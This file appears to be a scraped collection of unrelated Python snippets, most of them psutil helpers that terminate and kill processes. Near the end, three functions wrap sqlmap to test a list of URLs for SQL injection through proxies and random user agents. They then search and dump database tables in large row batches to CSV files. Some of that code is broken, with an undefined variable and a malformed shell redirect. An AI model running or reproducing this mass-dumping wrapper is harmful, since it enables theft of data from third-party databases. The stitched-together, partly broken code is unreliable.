def kill_proc_tree(pid, including_parent=True, timeout=5): try: parent = Process(pid) except NoSuchProcess: return children = parent.children(recursive=True) for child in children: if verbose.kill: print("killing {}".format(child.pid)) try: child.kill() child.terminate() except NoSuchProcess: pass gone, still_alive = wait_procs(children, timeout=timeout) if including_parent: try: if verbose.kill: print("killing {}".format(parent.pid)) parent.kill() parent.terminate() try: parent.wait(timeout) except TimeoutExpired: print("timeout expired, process may still be around: {}".format(parent.pid)) except NoSuchProcess: pass
def stop_doppelgänger(pid_path="/tmp/menu.pid"): if os.path.isfile(pid_path): if os.path.isfile(pid_path): with open(pid_path, "r") as f: pid = int(f.read()) try: twin = Process(pid) twin.send_signal(signal.SIGTERM) print(f"our twin {twin.pid} was stopped", flush=True) twin.wait(timeout=5) except psutil.NoSuchProcess as e: pass except psutil.TimeoutExpired as e: print(f"Timeout expired; exiting.", flush=True) sys.exit(10) except OSError as e: # errno.ESRCH unimportant: sometimes the /tmp/menu.pid is stale if e.errno == errno.ESRCH: print(f"no such process which is ok.") else: print(f"Unexpected OSError {e}") except Exception as e: print(f"Unexpected exception {e}") this_pid = psutil.Process() with open(pid_path, "w") as f: f.write(str(this_pid.pid)) return this_pid.pid
def kill_process_group(self, pid): from psutil import Process parent = Process(pid) for child in parent.children(recursive=True): child.kill() parent.kill() parent.wait()
def _kill(process: psutil.Process, timeout=5) -> bool: """Attempts to kill the process in a fail-safe manner and returns status Tries to terminate the process first and waits for it for the given timeout. If termination fails - attempts to kill the process instead and wait for it to die. Args: process(Process): the process that is to be killed timeout(int): the timeout to wait after each terminate/kill attempt Returns: obj(bool): True if the process has been killed/terminated, False if the process is still running after this method returns """ if not process.is_running(): return True try: process.terminate() try: process.wait(timeout) return True except: process.kill() try: process.wait(timeout) return True except: pass except: pass return not process.is_running()
def __watch_process_worker(self, proc: Process): if proc.is_running(): proc.wait() log(f"Process: {proc.pid} exited") else: log(f"Process: {proc.pid} does not exist (already exited?)") if proc in self.registred_games: self._unregister_game(self.process, proc)
def cleanup_zombie_process(pid): try: if pid_exists(pid): p = Process(pid) if p.status() == STATUS_ZOMBIE: p.wait() except Exception as e: pass
def wait_for_process_then_notify(pid, message=None, priority=None): process = Process(pid) default_message = "Process {} ({}) has finished.".format( ' '.join(process.cmdline()), pid) process.wait() notify(message or default_message, priority=priority)
def stop_diamond(conf_path): config_file = os.path.join(conf_path, CONFIG_NAME) pid = get_pid(config_file) if pid: diamond_process = Process(pid) diamond_process.terminate() diamond_process.wait(timeout=DEFAULT_TIMEOUT) if diamond_process.is_running(): raise exceptions.NonRecoverableError("Diamond couldn't be killed") else: raise exceptions.NonRecoverableError('Failed reading diamond pid file')
def _stop(self): logging.info("Stopping service process %s", self.command) try: self._callFromThread(self._terminateProcess) except: if self.protocol.transport.pid: # In case something goes wrong let's try our best to not leave # running processes around. logging.info( "Service process didn't terminate, trying to kill it") process = Process(self.protocol.transport.pid) process.kill() process.wait(timeout=1)
async def _close_process(self, proc: psutil.Process): try: proc.terminate() await asyncio.sleep(1) try: if proc.status() != psutil.STATUS_ZOMBIE: proc.kill() except Exception: pass except Exception: pass try: proc.wait(timeout=0) except Exception: pass
def _kill(pid, timeout=1.5): try: process = Process(pid) except NoSuchProcess: return try: process.send_signal(SIGINT) sleep(timeout) except OSError: pass finally: try: process.send_signal(SIGKILL) except (OSError, NoSuchProcess): pass process.wait()
def wait_output(settings, popen): """Returns `True` if we can get output of the command in the `wait_command` time. Command will be killed if it wasn't finished in the time. """ proc = Process(popen.pid) try: proc.wait(settings.wait_command) return True except TimeoutExpired: for child in proc.get_children(recursive=True): child.kill() proc.kill() return False
def kill_process_and_children(parent_process: psutil.Process, logger, timeout: int = 20) -> None: """Attempts to recursively kill the entire process tree under a given parent process""" try: for child in parent_process.children(): kill_process_and_children(child, logger) parent_process.kill() parent_process.wait(timeout=timeout) except psutil.NoSuchProcess: logger.debug("Process %i has already exited", parent_process.pid) pass except psutil.TimeoutExpired: logger.debug("Timeout while waiting for process %i to terminate" % parent_process.pid) pass
def _wait_output(popen, is_slow): """Returns `True` if we can get output of the command in the `settings.wait_command` time. Command will be killed if it wasn't finished in the time. :type popen: Popen :rtype: bool """ proc = Process(popen.pid) try: proc.wait(settings.wait_slow_command if is_slow else settings.wait_command) return True except TimeoutExpired: for child in proc.children(recursive=True): child.kill() proc.kill() return False
def stop_diamond(conf_path): config_file = os.path.join(conf_path, CONFIG_NAME) pid = get_pid(config_file) if pid: need_kill = True try: diamond_process = Process(pid) diamond_process.terminate() diamond_process.wait(timeout=DEFAULT_TIMEOUT) need_kill = diamond_process.is_running() except Error: pass if need_kill: call(["sudo", "kill", str(pid)]) # diamond deletes the pid file, even if killed for _ in range(DEFAULT_TIMEOUT): pid = get_pid(config_file) if not pid: return sleep(1) else: raise exceptions.NonRecoverableError('Failed reading diamond pid file')
def stop(self): """ Stop the Elasticsearch server. :rtype : ElasticsearchRunner :return: The instance called on. """ if self.is_running(): server_proc = Process(self.es_state.server_pid) server_proc.terminate() server_proc.wait() if process_exists(self.es_state.server_pid): logging.warn('Failed to stop Elasticsearch server process PID %d ...' % self.es_state.server_pid) # delete transient directories if 'path' in self.es_config: if 'log' in self.es_config['path']: log_path = self.es_config['path']['log'] logging.info('Removing transient log path %s ...' % log_path) rmtree(log_path) if 'data' in self.es_config['path']: data_path = self.es_config['path']['data'] logging.info('Removing transient data path %s ...' % data_path) rmtree(data_path) # delete temporary config file if os.path.exists(self.es_state.config_fn): logging.info('Removing transient configuration file %s ...' % self.es_state.config_fn) os.remove(self.es_state.config_fn) self.es_state = None self.es_config = None else: logging.warn('Elasticsearch is not running ...') return self
def stop(**kwargs): lock = PIDLockFile(os.path.join(RAMMON_PATH, "rammon.pid")) if try_systemd_stop(): logger.info("Stopping rammon daemon with systemd...") if lock.is_locked(): try: proc = Process(lock.read_pid()) proc.terminate() try: proc.wait(1) except TimeoutExpired: print("Rammon did not stop gracefully, killing it...") proc.kill() lock.break_lock() logger.info("Rammon stopped successfully") except NoSuchProcess: logger.warning( "Rammon was already stopped, but had not stopped cleanly.\n" "Breaking pidfile lock...") lock.break_lock() else: logger.error("Rammon is already stopped") sys.exit(1)
def doKillChild(child: psutil.Process, sig: int): Logging.info("Killing sub-sub process {} with signal {}".format(child.pid, sig)) child.send_signal(sig) try: retCode = child.wait(20) # type: ignore if (- retCode) == signal.SIGSEGV: # type: ignore # Crashed Logging.warning("Process {} CRASHED, please check CORE file!".format(child.pid)) elif (- retCode) == sig : # type: ignore Logging.info("Sub-sub process terminated with expected return code {}".format(sig)) else: Logging.warning("Process terminated, EXPECTING ret code {}, got {}".format(sig, -retCode)) # type: ignore return True # terminated successfully except psutil.TimeoutExpired as err: Logging.warning("Failed to kill sub-sub process {} with signal {}".format(child.pid, sig)) return False # did not terminate
def sqli_check(url, pos, check_timeout, proxy=None): print "Find SQLi" print('set %s' % url) print('left %s url(s)' % pos) if proxy: print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy)) start_time = datetime.now().time() if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME and wrapper_config.PROXY_PASSWORD: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--batch', '--time-sec=30', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--threads=3', '--answers=quit=n,crack=n', '--tamper=%s' % wrapper_config.TAMPER, '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy), '--proxy-cred=%s:%s' % (wrapper_config.PROXY_USERNAME, wrapper_config.PROXY_PASSWORD), '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, '--technique=EUSQ', ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass elif wrapper_config.PROXY: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--batch', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--threads=3', '--answers=quit=n,crack=n', '--tamper=%s' % wrapper_config.TAMPER, '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy), '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass else: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--time-sec=15', '--batch', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--threads=3', '--answers=quit=n,crack=n', '--tamper=%s' % wrapper_config.TAMPER, '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, '--technique=EUSQ', ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass print('done/make txt dump for %s | start: %s | end: %s ' % (url, start_time, end_time)) find_log(url)
class SpyProcess: """ Spying process to detect the currently open files and their current reading advancement. Notes ----- There is three threads at play here: - The main thread, which handles the display - The ticking thread which drives refreshing - The process watching thread, which waits for the process to be done Both the ticking and the process threads communicate their ticks to the main thread through a queue. This way the main thread can easily display an update every second and close instantly when the process is done. """ def __init__(self, args: Sequence[Text], period: float, output: Output, attach=Optional[int]): self.args = args self.attach = attach self.proc: Optional[Popen] = None self.files_cache = {} self.display_ticks = Queue() self.process_thread = Thread(target=self.watch_process) self.ticks_thread = Thread(target=self.generate_ticks, args=(period, ), daemon=True) self.progress = Progress(output) self.counters = {} def start(self): """ If a PID was supplied to attach in the CLI options then use it. Otherwise use the provided arguments to start the command. """ if self.attach is None: try: self.proc = Popen(self.args) except FileNotFoundError: stderr.write(f'Could not find command "{self.args[0]}"\n') exit(1) else: try: self.proc = Process(self.attach) except (AccessDenied, NoSuchProcess): stderr.write( f"Could not attach process {self.attach}. Does it exist? " f"Do you have the rights?\n") exit(1) def open_files(self) -> List[popenfile]: """ Returns the list of open files """ return self.proc.open_files() def list_files(self) -> Sequence[FileInfo]: """ Generates the FileInfo object of all interesting files. """ files_in_use = set() out = [] try: for f in self.open_files(): if f.mode != "r": continue files_in_use.add(f.path) if f.path not in self.files_cache: self.files_cache[f.path] = path.getsize(f.path) if hasattr(f, "position"): out.append( FileInfo( path=f.path, size=self.files_cache[f.path], position=f.position, )) except (AccessDenied, NoSuchProcess): pass for k in set(self.files_cache.keys()) - files_in_use: del self.files_cache[k] return out def print_progress(self): """ UI display thread, looping around until the thing is done """ stop = False try: while not stop: files = self.list_files() self.progress.update(files) stop = self.display_ticks.get() finally: self.progress.close() def generate_ticks(self, period: float): """ Ticks into the queue every "period" second Parameters ---------- period Number of seconds between two ticks """ while True: self.display_ticks.put(False) sleep(period) def start_display(self): """ Starts the threads that will tick the display """ self.ticks_thread.start() self.process_thread.start() self.print_progress() def watch_process(self): """ Waits until the process finishes and raises the tick """ self.return_code() self.display_ticks.put(True) def return_code(self) -> int: """ Waits for the process to finish and returns its return code """ return self.proc.wait() def send_signal(self, sig): """ Sends a signal to the child process Parameters ---------- sig Unix signal """ try: self.proc.send_signal(sig) except NoSuchProcess: pass
def run(self): start_message = Start(self) errors = self._check_job_files() errors.extend(self._assert_arg_list()) self._dump_exec_env() if errors: yield start_message.with_error("\n".join(errors)) return yield start_message executable = self.job_data.get("executable") assert_file_executable(executable) arg_list = [executable] if self.job_data.get("argList"): arg_list += self.job_data["argList"] if self.job_data.get("stdin"): stdin = open(self.job_data.get("stdin")) else: stdin = None if self.std_err: stderr = open(self.std_err, "w") else: stderr = None if self.std_out: stdout = open(self.std_out, "w") else: stdout = None if self.job_data.get("target_file"): target_file_mtime = 0 if os.path.exists(self.job_data["target_file"]): stat = os.stat(self.job_data["target_file"]) target_file_mtime = stat.st_mtime exec_env = self.job_data.get("exec_env") if exec_env: exec_name, _ = os.path.splitext( os.path.basename(self.job_data.get("executable")) ) with open("%s_exec_env.json" % exec_name, "w") as f: f.write(json.dumps(exec_env)) max_running_minutes = self.job_data.get("max_running_minutes") run_start_time = dt.now() proc = Popen( arg_list, stdin=stdin, stdout=stdout, stderr=stderr, env=self.job_data.get("environment"), ) exit_code = None process = Process(proc.pid) max_memory_usage = 0 while exit_code is None: try: memory = process.memory_info().rss except (NoSuchProcess, AccessDenied, ZombieProcess): """In case of a process that has died and is in some transitional state, we ignore any failures. Only seen on OSX thus far. See https://github.com/giampaolo/psutil/issues/1044#issuecomment-298745532 """ memory = 0 if memory > max_memory_usage: max_memory_usage = memory yield Running(self, max_memory_usage, memory) try: exit_code = process.wait(timeout=self.MEMORY_POLL_PERIOD) except TimeoutExpired: run_time = dt.now() - run_start_time if ( max_running_minutes is not None and run_time.seconds > max_running_minutes * 60 ): """ If the spawned process is not in the same process group as the callee (job_dispatch), we will kill the process group explicitly. Propagating the unsuccessful Exited message will kill the callee group. See job_dispatch.py. """ process_group_id = os.getpgid(proc.pid) this_group_id = os.getpgid(os.getpid()) if process_group_id != this_group_id: os.killpg(process_group_id, signal.SIGKILL) yield Exited(self, exit_code).with_error( "Job:{} has been running for more than {} minutes - explicitly killed.".format( self.name(), max_running_minutes ) ) return exited_message = Exited(self, exit_code) if exit_code != 0: yield exited_message.with_error( "Process exited with status code {}".format(exit_code) ) return # exit_code is 0 if self.job_data.get("error_file"): if os.path.exists(self.job_data["error_file"]): yield exited_message.with_error( "Found the error file:{} - job failed.".format( self.job_data["error_file"] ) ) return if self.job_data.get("target_file"): target_file_error = self._check_target_file_is_written(target_file_mtime) if target_file_error: yield exited_message.with_error(target_file_error) return yield exited_message
def _stop_worker_process(self, process: psutil.Process): """ Terminate a new worker node and remove it from the process pool. """ process.terminate() process.wait(timeout=60) self.job_queue_size -= 1 self._processes.remove(process)
except Exception as exception: RETCODE -= 100 print(f"Exception occured:\n####\n\n{exception}\n\n####") finally: from psutil import pid_exists, Process while pid_exists(PID): proc = Process(PID) timeout = 5 try: print(f"[{timeout} seconds] Trying to kill process PID: {PID}") proc.kill() proc.wait(timeout) except: pass finally: if pid_exists(PID): try: print( f"[{timeout} seconds] Trying to kill process PID: {PID}" ) proc.terminate() proc.wait(timeout) except: print(f"Process is out of controll PID: {PID}") if stderr is not None: stdout.close()
def sqlmap_dump(url, db, table, limit, check_timeout, proxy=None): start_time = datetime.now().time() if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME and wrapper_config.PROXY_PASSWORD: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--batch', '--time-sec=30', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--answer="quit=N"', '--answer="crack=n"', '--tamper=space2plus', '--search', '-C %s' % dump, '--dump-format=CSV', '-D%s' % db, '-T%s' % table, '--start=%s' % limit[0], '--stop=%s' % limit[1], '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy), '--proxy-cred=%s:%s' % (wrapper_config.PROXY_USERNAME, wrapper_config.PROXY_PASSWORD), '--exclude-sysdbs', '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, '--technique=EUSQ', '-o', ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass elif wrapper_config.PROXY: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--batch', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--answer="quit=N"', '--answer="crack=n"', '--tamper=space2plus', '--search', '-C %s' % dump, '--dump-format=CSV', '-D%s' % db, '-T%s' % table, '--start=%s' % limit[0], '--stop=%s' % limit[1], '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy), '--exclude-sysdbs', '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, '--technique=EUSQ', '-o', ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass else: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--time-sec=15', '--batch', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--answer="quit=n"', '--answer="crack=n"', '--tamper=space2plus', '--search', '-C %s' % dump, '--dump-format=CSV', '-D%s' % db, '-T%s' % table, '--start=%s' % limit[0], '--stop=%s' % limit[1], '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, #'--proxy=socks5://localhost:9091', '--exclude-sysdbs', '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, '--technique=EUSQ', '-o', ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass
def sqlmap_check(url, pos, check_timeout, proxy=None): print('set %s' % url) print('left %s url(s)' % pos) if proxy: print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy)) start_time = datetime.now().time() if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME and wrapper_config.PROXY_PASSWORD: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--batch', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--count', '--tamper=space2plus', '--dump-format=CSV', '--search', '-C %s' % dump, '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy), '--proxy-cred=%s:%s' % (wrapper_config.PROXY_USERNAME, wrapper_config.PROXY_PASSWORD), '--exclude-sysdbs', '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, '--technique=EUSQ', '-o', 'log.txt > &', ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass elif wrapper_config.PROXY: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--batch', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--count', '--tamper=space2plus', '--dump-format=CSV', '--search', '-C %s' % dump, #'--answer="quit=N"', #'--answer="crack=n"', '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, #'--proxy=socks5://localhost:9091', '--proxy=%s://%s' % (wrapper_config.PROXY_TYPE, proxy), '--exclude-sysdbs', '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, '--technique=EUSQ', '-o', 'log.txt > &', ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass else: process = Popen([ 'python', 'sqlmap.py', '--url=%s' % url, '--batch', '--time-sec=30', '--level=%s' % wrapper_config.LEVEL, '--risk=%s' % wrapper_config.RISK, '--random-agent', '--count', '--tamper=space2plus', '--search', '-C %s' % dump, '--dump-format=CSV', '--answer="quit=n"', '--answer="crack=n"', '--output-dir=%s' % wrapper_config.SQLMAP_DUMPS, #'--proxy=socks5://localhost:9091', '--exclude-sysdbs', '--timeout=%s' % wrapper_config.TIMEOUT, '--retries=%s' % wrapper_config.RETRIES, '--technique=EUSQ', '-o', 'log.txt > &', ]) psu_process = Process(process.pid) try: psu_process.wait(check_timeout) except TimeoutExpired: pass try: psu_process.kill() except: pass end_time = datetime.now().time() if domains_dublicate(url): print('detect domains dublicate %s pass it' % url) return False dbs_data = log_num_parser(url) #print dbs_data #sys.exit() if dbs_data: async_tables_pool = Pool() for db, tables in dbs_data.items(): for table, num in tables.items(): for step in STEPS: #STEPS = [10,100, 300, 500, 1000, 1500, 2000, 3000, 5000, 10000, 20000, 50000, 100000] if int(num) > step: try: async_tables_pool.apply_async( sqlmap_dump( url, db, table, [(step - wrapper_config.DUMP_COLUMN_LIMIT + 1), step], 560, proxy)) except: pass ''' async_tables_pool.apply_async( sqlmap_dump, ( url, db, table, [(step - wrapper_config.DUMP_COLUMN_LIMIT + 1), step], 60, proxy)) ''' else: ''' print int(num),'int(num) < step' async_tables_pool.apply_async( sqlmap_dump( url, db, table, [(step - wrapper_config.DUMP_COLUMN_LIMIT + 1), step], 60, proxy)) ''' break async_tables_pool.close() async_tables_pool.join() if check_dump_folder(url): make_txt_dump(url, log_num_parser(url)) end_time = datetime.now().time() print('done/make txt dump for %s | start: %s | end: %s ' % (url, start_time, end_time)) remove_dump_folder(url) print('remove temp folder %s' % url)